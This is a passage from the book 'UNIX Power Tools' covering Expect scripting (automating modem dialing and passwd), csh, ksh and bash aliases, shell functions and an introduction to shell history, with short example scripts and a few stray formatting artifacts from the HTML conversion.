The first line runs the tip program so that the output of a modem can be read by expect and its input written by send. Once tip says it is connected, the modem is told to dial using the command ATD followed by the phone number. The phone number is retrieved from argv, which is a variable predefined to contain the original argument with which the script was called.

The fourth line is just a comment noting that the variable being set in the next line controls how long expect will wait before giving up. At this point, the script waits for the call to complete. No matter what happens, expect terminates. If the call succeeds, the system detects that a user is connected and prompts with login:.

Actual scripts do more error checking, of course. For example, the script could retry if the call fails. But the point here is that it does not take much code to produce useful scripts. This six-line script replaced a 60Kb executable (written in C) that did the same thing!

9.26.2 Automating /bin/passwd

Earlier I mentioned some programs that cannot be automated with the shell. It is difficult to imagine why you might even want to embed some of these programs in shell scripts. Certainly the original authors of the programs did not conceive of this need. As an example, consider passwd.

passwd is the command to change a password. The passwd program does not take the new password from the command line. Instead, it interactively prompts for it - twice. Here is what it looks like when run by a system administrator. (When run by users, the interaction is slightly more complex because they are prompted for their old passwords as well.)

# passwd libes
Changing password for libes on thunder.
New password:
Retype new password:

This is fine for a single password. But suppose you have accounts of your own on a number of unrelated computers and you would like them all to have the same password. Or suppose you are a system administrator establishing 1000 accounts at the beginning of each semester. All of a sudden, an automated passwd makes a lot of sense. Here is an Expect script to do just that: automate passwd so that it can be called from a shell script.

spawn passwd [lindex $argv 0]
set password [lindex $argv 1]
expect "password:"
send "$password\r"
expect "password:"
send "$password\r"
expect eof

The first line starts the passwd program with the username passed as an argument. The next line saves the password in a variable for convenience. As in shell scripts, variables do not have to be declared in advance.

In the third line, the expect command looks for the pattern password:. expect waits until the pattern is found before continuing.

After receiving the prompt, the next line sends a password to the current process. The \r indicates a carriage-return. (Most of the usual C string conventions are supported.) There are two expect-send sequences because passwd asks the password to be typed twice as a spelling verification. There is no point to this in a non-interactive passwd, but the script has to do it because passwd assumes it is interacting with a human who does not type consistently.

The final command expect eof causes the script to wait for the end-of-file in the output of passwd. Similar to timeout, eof is another keyword pattern. This final expect effectively waits for passwd to complete execution before returning control to the script.

Take a step back for a moment. Consider that this problem could be solved in a different way. You could edit the source to passwd (should you be so lucky as to have it) and modify it so that given an optional flag, it reads its arguments from the command line just the way that the Expect script does. If you lack the source and have to write passwd from scratch, of course, then you will have to worry about how to encrypt passwords, lock and write the password database, etc. In fact, even if you only modify the existing code, you may find it surprisingly complicated code to look at. The passwd program does some very tricky things. If you do get it to work, pray that nothing changes when your system is upgraded. If the vendor adds NIS, Kerberos, shadow passwords, a different encryption function, or some other new feature, you will have to revisit the code.

Expect comes with many example scripts that demonstrate how you can do many things that are impossible with traditional shells. For example, the passmass script lets you update your password on many unrelated machines simultaneously. The rftp script provides your regular ftp client with additional commands to do recursive FTP in either direction. The cryptdir script encrypts all the files in a directory. And an amusing script is provided that lets two chess processes play each other. Expect has no limit to the number of interactive programs it can drive at the same time. [The UNIX system may limit Expect, though, by controlling the maximum number of processes or other system resources available. -JP ]

9.26.3 Testing: A Story

Many people use Expect for testing. You can test interactive programs as easily as you can automate them. And hardware lends itself to testing with Expect, too. For example, we solved a thorny problem when we had to deal with an unreliable bank of modems. We were receiving dozens of calls each week reporting "the modem is hung." No indication of which modem, of course. And it was always too late for us to ask the user to try something to investigate the problem. The connection was gone by then. Our solution was an Expect script that hourly connected to each modem and exercised it. Any problems were recorded so that we had a clear and full history of each modem's behavior. As soon as a defective or hung modem was encountered, the Expect script would send email to the system administrator. With this script in place, reports of modem problems from our users dropped to zero.

9.26.4 Other Problems

These are just a few of the problems that can be solved with Expect. And as with all Expect solutions, recompilation of the original programs is unnecessary. You don't even need the source code! Expect handles many other problems as well. For example, Expect can wrap existing interactive tools with GUI wrappers. This means you can wrap interactive programs with Motif-like frontends to control applications by buttons, scrollbars, and other graphic elements. And Expect scripts work great as CGI scripts or from cron (40.12) or inetd [the daemon that controls Internet services provided by a system-JP ]. Finally, learning Expect may be easier than you think. Expect can watch you interact and then produce an Expect script for you. Interaction automation can't get much easier than this!

More information on Expect is available in Exploring Expect, by Don Libes, from O'Reilly & Associates.

- DL

Previous: 9.25 The C Shell repeat Command | UNIX Power Tools | Next: 10. Aliases
9.25 The C Shell repeat Command | Book Index | 10. Aliases
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] Aliases

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 9.26 Expect Chapter 10 Next: 10.2 Aliases for Common Commands

10. Aliases

Contents:
Creating Custom Commands
Aliases for Common Commands
C Shell Aliases with Command-Line Arguments
Aliases in ksh and bash
Sourceable Scripts
Avoiding C Shell Alias Loops
How to Put if-then-else in a C Shell Alias
Fix Quoting in csh Aliases with makealias and quote
Shell Functions
Simulated Bourne Shell Functions and Aliases

10.1 Creating Custom Commands

  • In most shells, aliases (10.2, 10.3, 10.4) are an easy way to shorten a long command line or do a short series of commands.

  • All except the oldest Bourne-type shells have shell functions (10.9). These are a cross between aliases and shell scripts. They're good both for shortening command lines and for running a short or long series of commands.

  • You can simulate shell functions (10.10) on older Bourne shells. These "fake functions" don't have much more power than aliases - but they're better than nothing!

- JP

Previous: 9.26 Expect | UNIX Power Tools | Next: 10.2 Aliases for Common Commands
9.26 Expect | Book Index | 10.2 Aliases for Common Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] 10.2 Aliases for Common Commands

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 10.1 Creating Custom Commands Chapter 10
Aliases 		Next: 10.3 C Shell Aliases with Command-Line Arguments

10.2 Aliases for Common Commands

The C shells, ksh and bash have an "alias" facility that lets you define abbreviations for commonly used commands. Aliases can get very complicated, so we'll give just an introduction here. We'll use the csh alias syntax here; article 10.4 shows bash and ksh.

10.2.1 Simple Aliases

The simplest kind of alias is simply a new name for an old command. For example, you might want to rename the ls command as dir because you're used to DOS or VMS systems. That's easily done:

alias dir ls

dir is the new name; from now on, typing dir as a command is equivalent to typing ls. Some other commonly used aliases are:

alias la ls -a         # include "hidden" files in listings
alias lf ls -F         # show whether files are directories, etc.
alias lr ls -R         # list recursively-show directory contents
alias ri rm -i         # ask before deleting
alias mi mv -i         # ask before moving over an existing file

In a .cshrc file, the hash mark (#) means that the rest of the line is a comment. Describing your aliases can help you remember what they're for. That's an especially good idea for complicated aliases you write - like the aliases in the next section.

10.2.2 Using More Complex Aliases

Here are a few aliases that I find useful; you'll have to adapt them to your own circumstances:

alias emacs /home/src/emacs/bin/emacs
alias clean "rm *~ .*~ core *.bak"
alias vtext 'setenv EXINIT "source $HOME/.exrc.text" ; vi'
alias vprog 'setenv EXINIT "source $HOME/.exrc.prog" ; vi'

Let's look at these aliases more closely. The emacs alias isn't anything fancy; it's just a way of remembering a long command name, without having to add another directory to your search path (8.7) for a single command. (I find long search paths aesthetically unappealing. They can also slow your system down, although the C shell uses a hash table (52.9) to speed up searching. On the other hand, it takes time to read aliases like emacs from your .cshrc file into the shell. Defining lots of aliases, instead of simply changing your search path, can delay logins and subshells (38.4). If you have a fast computer, it may not matter whether you use lots of aliases or have a long search path.)

The clean alias is great; it deletes GNU Emacs backup files and core (52.9) files (which I usually don't keep around) and other miscellany. Rather than have some complex "auto-cleaning" system that runs from cron, I just occasionally type clean in my current directory. Everyone should have an alias like this and doctor it so that it gets rid of as much junk as possible. (A lot of people, though, would tell you not to be so quick to delete your editor's backup files. Use your own judgment.)

The third and fourth aliases are a bit clever, in a primitive sort of way. You type the command vtext afile; the shell separates the commands at the semicolon and executes one after the other:

$HOME
setenv EXINIT "source $HOME/.exrc.text"
vi afile

The first command sets the EXINIT environment variable (6.1); this makes vi read a particular setup file (4.9) named .exrc.text in the home directory. The second command starts vi with whatever arguments you type. You aren't limited to just one filename. You can type whatever arguments you want, including more filenames and vi options; they're all tacked on after vi. There are more graceful ways to get command-line arguments into aliases (10.3), but this does the trick when the arguments go on the end of an alias.

Note that we put this alias in quotes. Why? Because it's a compound command (setenv, then vi). We want the alias to include both stages of the command. Think about what this means if we don't put quotes around the alias definition when defining the alias:

alias vtext setenv EXINIT "source $HOME/.exrc.text" ; vi    Wrong!

The shell sees the semicolon (8.5) (a command separator) outside of quotes, so it separates the command line into two commands. The first command defines the vtext alias to run setenv, not vi. After the alias is defined, the shell runs the second command: vi with no filename. In any case, the results have nothing to do with what you want.

The way we originally defined the vtext alias, with quotes around the whole definition, is what we want. The outer quotes tell the shell to put everything into the alias definition. The semicolon in the alias will be interpreted, and separate the two commands, any time you use the alias.

Next, look at the clean alias. As with the vtext alias, this one needs to be quoted. The reason now is a bit different; the quotes prevent the shell from expanding the * wildcard immediately. That is, if you just typed:

% alias clean rm *~

the shell would expand the wildcard immediately. So if a file named foo~ is in your current directory, the clean alias will be rm foo~. That (most likely) isn't what you want; a clean alias that will only delete one particular file isn't very interesting.

So you need a way to prevent the shell from interpreting the * right now (when you define the alias); you want the shell to interpret * later, when you use the alias. There are plenty of articles in this book about quoting (8.14, 8.15), but the simplest way to write an alias that uses wildcards (or other special characters) is to put it inside of quotation marks.

10.2.3 Setting Aliases Automatically, Unsetting Aliases

Any aliases you define can be placed in your .cshrc file, so that they'll be available whenever you're using the C shell. (Note: aliases are not passed to subprocesses (2.2), so putting them in your .login file probably isn't wise.)

Some people like to use aliases to redefine UNIX commands. For instance, you could make an alias named rm that actually runs mv, moving a file to a "trashcan" directory instead of actually removing it. [1] Redefining commands can be confusing or dangerous (10.6). Still, in some cases, aliases that redefine commands can be useful.

[1] Article 23.9 shows the delete programs, a better way to do this.

To temporarily use the default rm (not your alias named rm), type a backslash (\) before the name (8.12):

% \rm filename

To use the default rm for the rest of your login session:

% unalias rm

Unless you remove the definition from .cshrc, the alias is restored the next time you log in (or the next time you create any new C shell).

A final piece of trivia: the C shell manual page tells us that aliases can be nested; that is, they can refer to other aliases. Personally, I think this would get too complicated too quickly to be very useful, so I don't do it and can't recommend it. But you can try.

- ML, JP, DG

Previous: 10.1 Creating Custom Commands | UNIX Power Tools | Next: 10.3 C Shell Aliases with Command-Line Arguments
10.1 Creating Custom Commands | Book Index | 10.3 C Shell Aliases with Command-Line Arguments
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] 10.3 C Shell Aliases with Command-Line Arguments

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 10.2 Aliases for Common Commands Chapter 10
Aliases 		Next: 10.4 Aliases in ksh and bash

10.3 C Shell Aliases with Command-Line Arguments

It's convenient for your aliases to use command-line arguments. For example, let's think about an alias named phone:

alias phone 'cat ~/phonelist | grep -i'

After you define that alias, you could type phone smith. The shell would find the phone alias and execute it with the argument (smith) at the end (10.2) this way:

cat ~/phonelist | grep -i smith

Using cat and a pipe that way is inefficient (13.2). It might be more sensible to have an alias that worked like this:

grep -i name ~/phonelist

How do we do this? The C shell's history (11.7) facility lets us use the notation !$ to refer to the last word in the previous command; the notation !* refers to all the arguments of the previous command. Assuming that we only want to look up aliases one at a time, we can use !$ and write our alias like this:

alias phone grep -i \!$ ~/phonelist

When we use the phone command, its final argument will be substituted into the alias. That is, when we type phone bill, the shell executes the command grep -i bill ~/phonelist.

In this example, we needed another kind of quoting. We had to put a backslash before the exclamation point to prevent the shell from replacing !$ with the previous command's last argument. That is, we don't want the shell to expand !$ when we define the alias - that's nonsense. We want the shell to insert the previous argument when we use the alias (in which case, the previous argument is just the argument for the alias itself - clear?).

But why couldn't we just use single quotes or double quotes (8.14)? This isn't the right place for a full explanation, but neither single quotes nor double quotes protect the exclamation point. The backslash does . (8.15) If you want to be convinced, experiment with some commands like:

% echo '!!'   Print your last command
% echo '\!!'   Print !!

The first echo command shows that the shell performs history substitution (i.e., replaces !! with your previous command) in spite of the single quotes. The second example shows that the backslash can prevent the shell from interpreting ! as a special character.

Let's look at another alias. We want to pipe the output of ls -l into more (25.3). In this case, we would want all the arguments from the command line instead of merely the last argument (or the only argument). Here's the alias:

alias lm 'ls -l \!* | more'

This time, we needed both kinds of quoting: A backslash prevents the shell from interpreting the exclamation point immediately. Single quotes protect the pipe symbol and the asterisk (*). If you don't protect them both, and only protect the pipe (with a backslash), look what happens:

% alias lm ls -l \!*  more
alias: No match.

Because the backslash temporarily stops the special meaning of the !, the shell next tries to find filenames that match the wildcard (1.16) pattern !*. That fails (except in the unusual case when you have a file in the current directory whose name starts with a !).

NOTE: Here's a good general rule for quoting aliases. Unless you're trying to do something special with an alias and you understand quoting well, put single quotes (') around the whole definition and put a backslash before every exclamation point (/!).

Finally, if you want to pick one argument from the command line, use /!:n, where n is the number of the argument. Here's one final alias. It uses cat (25.2) to add a header file to the file named in the first argument, then writes them both into the file named in the second argument:

~
alias addhead 'cat ~/txt/header \!:1 > \!:2'

This alias has two arguments: the file to which you want to add a header and the output file. When you type:

% addhead foo bar

the C shell substitutes the filename foo for /!:1, and the filename bar for /!:2, executing the command:

cat ~/txt/header foo > bar

- ML, JP

Previous: 10.2 Aliases for Common Commands | UNIX Power Tools | Next: 10.4 Aliases in ksh and bash
10.2 Aliases for Common Commands | Book Index | 10.4 Aliases in ksh and bash
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] 10.4 Aliases in ksh and bash

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 10.3 C Shell Aliases with Command-Line Arguments Chapter 10
Aliases 		Next: 10.5 Sourceable Scripts

10.4 Aliases in ksh and bash

Virtually everything we've said about aliases applies to the Korn shell (ksh) and bash. One thing that's different is the syntax of the alias command, which is:

$ alias name=definition

That is, you need an equal sign (no spaces) between the name and the definition. A good guideline is to use single quotes (') around the definition unless you're doing something specialized and you understand how quoting (8.14) works in aliases.

You also can't put arguments inside an alias as the C shell's \! operator (10.3) does. To do that, use a shell function (10.9).

Korn shell aliasing is "overloaded" with a few other functions - like keeping track of the locations of executables. However, this shouldn't prevent you from defining your own aliases as you need them.

- ML

Previous: 10.3 C Shell Aliases with Command-Line Arguments | UNIX Power Tools | Next: 10.5 Sourceable Scripts
10.3 C Shell Aliases with Command-Line Arguments | Book Index | 10.5 Sourceable Scripts
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] 10.5 Sourceable Scripts

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 10.4 Aliases in ksh and bash Chapter 10
Aliases 		Next: 10.6 Avoiding C Shell Alias Loops

10.5 Sourceable Scripts

A powerful concept in csh is that of aliases. Another great capability is shell scripts. Each has its strengths. An alias is just right for common sequences of commands, calling a command by a different name, and so on. Scripts are great for more flexible processing and batch processing. There are limitations to both, and I will show a way around them.

The limitation to aliases is that you are working pretty much with one command line. Consider this example:

alias pp 'set o2=$cwd; popd; set old=$o2; dir_number; record_dir pp; \\
  prompt_set; set cd_attempt=(\!*); if ($#cd_attempt > 0) cd $cd_attempt'

Now this works fine for me, and it served me well for a few years and thousands of invocations, but it's at the point where I start thinking that a script is more suited to the job. This brings me to the limitation of scripts...

Shell scripts are great for accomplishing some task that might change a file, start a program, etc. They are limited by the fact that any changes they make to shell or environment variables are not visible (38.3) to the parent shell that started them. In other words, you can write some really cool script that will change directories for you if you don't touch the keyboard for five seconds, but once the script exits, you are still in the same place you started.

The answer is to combine the best of both worlds. Consider this:

( )
alias pp 'set cd_attempt=(\!*); source ~/bin/pp_csh'

We set up a variable and source a script. The concept is this: put your command-line arguments into a variable and then source (44.23) a script in order to accomplish something. The difference here is that because you are not starting a subshell (38.4) for the script, it can do everything an alias can and more. This is much like Bourne shell functions (10.9).

Some hints on using this technique:

  • Naming: I like to name the script that is doing all of the work after the alias, with _csh or .csh at the end of its name. I put all of the scripts in my ~/bin (4.2). [Instead of names ending in .csh, I put mine in a directory named ~/.lib/csh. -JP ]

  • Feedback: You don't want to execute the script directly. You want to source it. Here's a good first line that detects this:

    #!
    #! /bin/echo sorry,try:source

  • Usage statement: Check the variable that you expect to see from the alias. If it isn't there, you can show a usage statement, and do a goto to the end of the script:

    $#
<<

    if ($#lg_args == 0) then
1
usage: lg [-a][-p] pattern [command]
    -a  lists all (.dot files)
    -p  pipe resulting list into command
+++
    goto lg_end
endif
   ...
lg_end:

  • Alias options: You aren't limited to what an alias can do, since you are sourcing a script. You gain some flexibility here. Here's one way of handling options:

switch [1]

set
shift

    unset ls_arg
while (! $?ls_arg)
    switch ("$lg_args[1]")
        case "-a":
            set ls_arg="-a"
            shift lg_args
        case "-p":
            set use_pipe
            shift lg_args
        default:
            set ls_arg
            breaksw
    endsw
end

Have fun with this! You may find yourself tossing some old aliases and rewriting them as sourceable scripts. They're also easier to maintain.

- DS

Previous: 10.4 Aliases in ksh and bash | UNIX Power Tools | Next: 10.6 Avoiding C Shell Alias Loops
10.4 Aliases in ksh and bash | Book Index | 10.6 Avoiding C Shell Alias Loops
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] 10.6 Avoiding C Shell Alias Loops

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 10.5 Sourceable Scripts Chapter 10
Aliases 		Next: 10.7 How to Put if-then-else in a C Shell Alias

10.6 Avoiding C Shell Alias Loops

[Article 8.11 has similar information for bash. -JP]

Here's a situation that came up on the Net a while ago. Someone wanted an exit (38.4) alias that would run a ~/.exit file (14.14) before leaving the shell. The obvious solution is:

alias exit "source ~/.exit; exit"

This doesn't work; when you use the exit alias, the C shell thinks that the alias is trying to execute itself. Recursive aliases aren't allowed on many shells, so the C shell prints an error message (Alias loop) and gives up.

There are many, many ways to break the loop. Here's the best (in my opinion):

alias exit 'source ~/.exit; ""exit'

Article 8.12 has the hairy details of what works and why. To summarize, if you need to use the alias's name within a C shell alias, you can use:
""name | where name is the name of a built-in (1.10) command or any "regular" command.
\name | where name is the name of any "regular" command, but not a built-in command.

Tempting as this all may sound (and I have to admit, if it didn't sound a bit tempting, I wouldn't be writing this article), I can't really recommend the practice of "redefining" commands with aliases. You should leave the original commands as they are. The original author could have avoided all these problems by calling his alias quit rather than exit.

If you redefine commands with aliases - then use another account where your alias isn't defined (or, if you let someone type a command on your account)-it's easy for things to go wrong. That's especially true for commands that do something permanent - overwriting or removing files, for example.

Let me give one more example to show you what problems you can have. Let's say you've aliased the exit command to source a .exit file before quitting. Fair enough. But now, let's say that you're not in your login shell, that you've set ignoreeof (6.9), and that, for no apparent reason, your .exit file disappears (maybe it develops a bad block, so the system can't read it; such things happen).

Now you're stuck. If you type exit, the source command will fail, and the "real" exit command will never be executed. You can't leave the shell. Of course, if you remember what you did, you can always type unalias exit and get the original command back. Or you can type <"><">exit. But if you've foisted this alias on a beginner, he or she might not know that. All of a sudden, you're stuck in some shell that you apparently can't get out of.

The biggest virtue of UNIX is that it's infinitely extendable. However, you aren't helping if your extensions hide the basic operations that make everything work. So - extend all you want. But when you write your extensions, give them new names. End of sermon.

- ML ML wrote, but material came from net postings by several people

Previous: 10.5 Sourceable Scripts | UNIX Power Tools | Next: 10.7 How to Put if-then-else in a C Shell Alias
10.5 Sourceable Scripts | Book Index | 10.7 How to Put if-then-else in a C Shell Alias
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] 10.7 How to Put if-then-else in a C Shell Alias

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 10.6 Avoiding C Shell Alias Loops Chapter 10
Aliases 		Next: 10.8 Fix Quoting in csh Aliases with makealias and quote

10.7 How to Put if-then-else in a C Shell Alias

The C shell's brain damage (47.2) keeps you from using an if (47.3) with an else in an alias. You have to use a sourceable script (10.5). Or that's what I thought until I saw an article by Lloyd Zusman on comp.unix.questions in December 1987. He'd saved an earlier posting on that group (but without its author's name) that showed how. The trick: use enough backslashes (\) and the eval (8.10) command.

As an example, here's an alias named C for compiling (52.8) C programs. It needs the executable filename (like C prog), not the source filename (like C prog.c). If you type a filename ending in .c, it complains and quits. Else, it:

  • Renames any old prog file to prog.old,

  • Prints the message prog SENT TO cc,

  • Compiles prog.c,

  • And - if there's a prog file (if the compile succeeded)-runs chmod 311 prog to protect the file from accidental reading with a command like cat * or more *.

Your alias doesn't need to be as complicated. But this one shows some tricks, like putting an if inside the if, that you might want to use. The expressions like =~ and -e are explained in article 47.4. Watch your quoting - remember that the shell strips off one level of quoting when you set the alias (10.3) and another during the first pass of the eval. Follow this example and you'll probably be fine:

# COMPILE AND chmod C PROGRAMS; DON'T USE .c ON END OF FILENAME.
alias C 'eval "if (\!* =~ *.c) then \\
   echo "C quitting: no .c on end of \!* please." \\
else \\
   if (-e \!*) mv \!* \!*.old \\
   echo \!*.c SENT TO cc \\
   cc -s \!*.c -o \!* \\
   if (-e \!*) chmod 311 \!* \\
endif"'

- JP

Previous: 10.6 Avoiding C Shell Alias Loops | UNIX Power Tools | Next: 10.8 Fix Quoting in csh Aliases with makealias and quote
10.6 Avoiding C Shell Alias Loops | Book Index | 10.8 Fix Quoting in csh Aliases with makealias and quote
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] 10.8 Fix Quoting in csh Aliases with makealias and quote

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 10.7 How to Put if-then-else in a C Shell Alias Chapter 10
Aliases 		Next: 10.9 Shell Functions

10.8 Fix Quoting in csh Aliases with makealias and quote

Getting quoting right in aliases can be a real problem. Dan Bernstein wrote two aliases called makealias and quote that take care of this for you.

For example, here I use makealias to avoid having to quote ! and *:

% makealias mycat
cat `ls | sed '1,/!*/d'` | less
[CTRL-d]
alias mycat 'cat `ls | sed '\''1,/\!*/d'\''` | less'

I typed the makealias mycat command and the line starting with cat and got back an alias definition with all of the quoting done correctly.

The properly quoted alias definition is sent to the standard output. That line is what you would use to define the alias. [2]

[2] [The mycat alias runs cat on all files with names later in the alphabet than the argument you type. The output of cat is piped to the less (25.4) pager. For example, let's say your current directory has the files afile, count, jim, and report. Typing mycat count would display the files jim and report. -JP ]

And here are the quote and makealias aliases themselves:

alias quote     "/bin/sed -e 's/\!/\\\!/g' \
   -e 's/'\\''/'\\'\\\\'\\''/g' \
   -e 's/^/'\''/' -e 's/"\$"/'\''/'"
alias makealias "quote | /bin/sed 's/^/alias \!:1 /' \!:2*"

Pretty gross, but they do the job.

- JIK in comp.unix.questions on Usenet, 17 February 1991

Previous: 10.7 How to Put if-then-else in a C Shell Alias | UNIX Power Tools | Next: 10.9 Shell Functions
10.7 How to Put if-then-else in a C Shell Alias | Book Index | 10.9 Shell Functions
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] 10.9 Shell Functions

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 10.8 Fix Quoting in csh Aliases with makealias and quote Chapter 10
Aliases 		Next: 10.10 Simulated Bourne Shell Functions and Aliases

10.9 Shell Functions

sh_init
The C shell has aliases (10.2). But until System V Release 2, the Bourne Shell had almost (10.10) no way for users to set up their own built-in commands. Functions are like aliases, but better. For instance, functions can return a status (44.7) and have much more reasonable syntax (10.7). bash and the Korn Shell have shell functions, too. To find out all about functions, check a shell programming book. There are examples in the sh_init file on the CD-ROM. Here are the examples from articles 10.2 and 10.3 changed into Bourne shell aliases:

  • The la function includes "hidden" files in ls listings. The lf function labels the names as directories, executable files, and so on:

    la () { ls -a "$@"; }
lf () { ls -F "$@"; }

    The spaces and the semicolon (;) are both important! [3] The "$@" (44.15) is replaced by the command-line arguments (other options, or directory and filenames), if you use any:

    [3] A function is a Bourne shell list construct (13.8). You can omit the semicolon in bash-but, if you do, your functions won't be portable.

    $ la -l somedir            ...runs ls -a -l somedir

  • This next simple function, cur, gives the name of your current directory and then lists it:

    cur()
{
    pwd
    ls
}

That example shows how to write a function with more than one line. In that style, with the ending curly brace on its own line, you don't need a semicolon after the last command.

- JP

Previous: 10.8 Fix Quoting in csh Aliases with makealias and quote | UNIX Power Tools | Next: 10.10 Simulated Bourne Shell Functions and Aliases
10.8 Fix Quoting in csh Aliases with makealias and quote | Book Index | 10.10 Simulated Bourne Shell Functions and Aliases
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 10] 10.10 Simulated Bourne Shell Functions and Aliases

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 10.9 Shell Functions Chapter 10
Aliases 		Next: 11. The Lessons of History

10.10 Simulated Bourne Shell Functions and Aliases

If you have a Bourne shell with no functions (10.9) or aliases (10.2), you can do a lot of the same things with shell variables and the eval (8.10) command.

Let's look at an example. First, here's a shell function named scp (safe copy). If the destination file exists and isn't empty, the function prints an error message instead of copying:

test

scp()
{
   if test ! -s "$2"
   then cp "$1" "$2"
   else echo "scp: cannot copy $1: $2 exists"
   fi
}

If you use the same scp twice, the first time you'll make bfile. The second time you try, you see the error:

$ scp afile bfile
   ...
$ scp afile bfile
scp: cannot copy afile: bfile exists

Here's the same scp-stored in a shell variable instead of a function:

scp='
if test ! -s "$2"
then cp "$1" "$2"

else echo "scp: cannot copy $1: $2 exists"
fi
'

Because this fake function uses shell parameters, you have to add an extra step: setting the parameters. Simpler functions are easier to use:

set

$ set afile bfile
$ eval "$scp"
   ...
$ eval "$scp"
scp: cannot copy afile: bfile exists

- JP

Previous: 10.9 Shell Functions | UNIX Power Tools | Next: 11. The Lessons of History
10.9 Shell Functions | Book Index | 11. The Lessons of History
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] The Lessons of History

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 10.10 Simulated Bourne Shell Functions and Aliases Chapter 11 Next: 11.2 History in a Nutshell

11. The Lessons of History

Contents:
The Lessons of History
History in a Nutshell
My Favorite Is !$
My Favorite Is !:n*
My Favorite Is ^^
Using !$ for Safety with Wildcards
History Substitutions
Repeating a Cycle of Commands
Running a Series of Commands on a File
Check Your History First with :p
Picking Up Where You Left Off
Pass History to Another Shell
Shell Command-Line Editing
More Ways to Do Interactive History Editing
Changing C Shell History Characters with histchars
Instead of Changing History Characters

11.1 The Lessons of History

It has been said that "the only thing we learn from history is that people don't learn from history."

Fortunately, the original maxim that "history repeats itself" is more appropriate to UNIX.

Most shells include a powerful history mechanism that lets you recall and repeat past commands, potentially editing them before execution. This can be a godsend, especially when typing a long or complex command.

All that is needed to set C shell history in motion is a command like this in your .cshrc file:

set history=n

where n is the number of past commands that you want to save. In ksh and bash, the variable is HISTSIZE, and it's already set for you; the default values are 128 and 500, respectively.

The history command lists the saved commands, each with an identifying number. [In csh and bash, you can show just the last few commands by typing a number, too. For instance, history 20 shows your last 20 commands. -JP ] (It's also possible to configure the shells to print the history number of each command as part of your prompt (7.2).)

In csh and bash, you can repeat a past command by typing its number (or its name) preceded by an exclamation point (!). You can also select only parts of the command to be repeated, and use various editing operators to modify it. Articles 11.7 and 9.6 give quick tutorial summaries of some of the wonderful things you can do. Most of the rest of the chapter gives a miscellany of tips for using and abusing the shells' history mechanism.

Most shells - except the original Bourne and C shells - also have interactive command-line editing (11.13). [Interactive editing might seem to be better than typing !vi or lpr !$. If you learn both systems, though, you'll find plenty of cases where the ! system is faster and more useful than interactive editing. -JP]

- TOR

Previous: 10.10 Simulated Bourne Shell Functions and Aliases | UNIX Power Tools | Next: 11.2 History in a Nutshell
10.10 Simulated Bourne Shell Functions and Aliases | Book Index | 11.2 History in a Nutshell
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.2 History in a Nutshell

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 11.1 The Lessons of History Chapter 11
The Lessons of History 		Next: 11.3 My Favorite Is !$

11.2 History in a Nutshell

The C shell and bash can save copies of the previous command lines you type. Later, you can ask for a copy of some or all of a previous command line. That can save time and retyping.

This feature is called history substitution, and it's done when you type a string that starts with an exclamation point (!command). You can think of it like variable substitution ($varname) (6.8) or command substitution (`command`) (9.16): the shell replaces what you type (like !$) with something else (in this case, part or all of a previous command line).

Article 11.1 is an introduction to shell history. These articles show lots of ways to use history substitution:

  • We start with favorite uses from several contributors - articles 11.3, 11.4, 11.5, 11.6.

  • Article 11.7 starts with a quick introduction, then covers the full range of history substitutions with a series of examples that show the different kinds of things you can do with history.

    (Back in article 9.6 are examples of csh and bash operators like :r. Many of these can be used to edit history substitutions.)

  • See an easy way to repeat a set of csh or bash commands in article 11.8.

  • Each shell saves its own history. To pass a shell's history to another shell, see articles 11.11 and 11.12.

  • You don't have to use an exclamation point (!) for history. Article 11.15 shows how to use some other character.

  • The Korn shell does history in a different way. Article 11.13 introduces part of that: command-line editing in ksh and bash.

One last note: putting the history number in your prompt (7.2) makes it easy to re-use commands that haven't scrolled off your screen.

- JP

Previous: 11.1 The Lessons of History | UNIX Power Tools | Next: 11.3 My Favorite Is !$
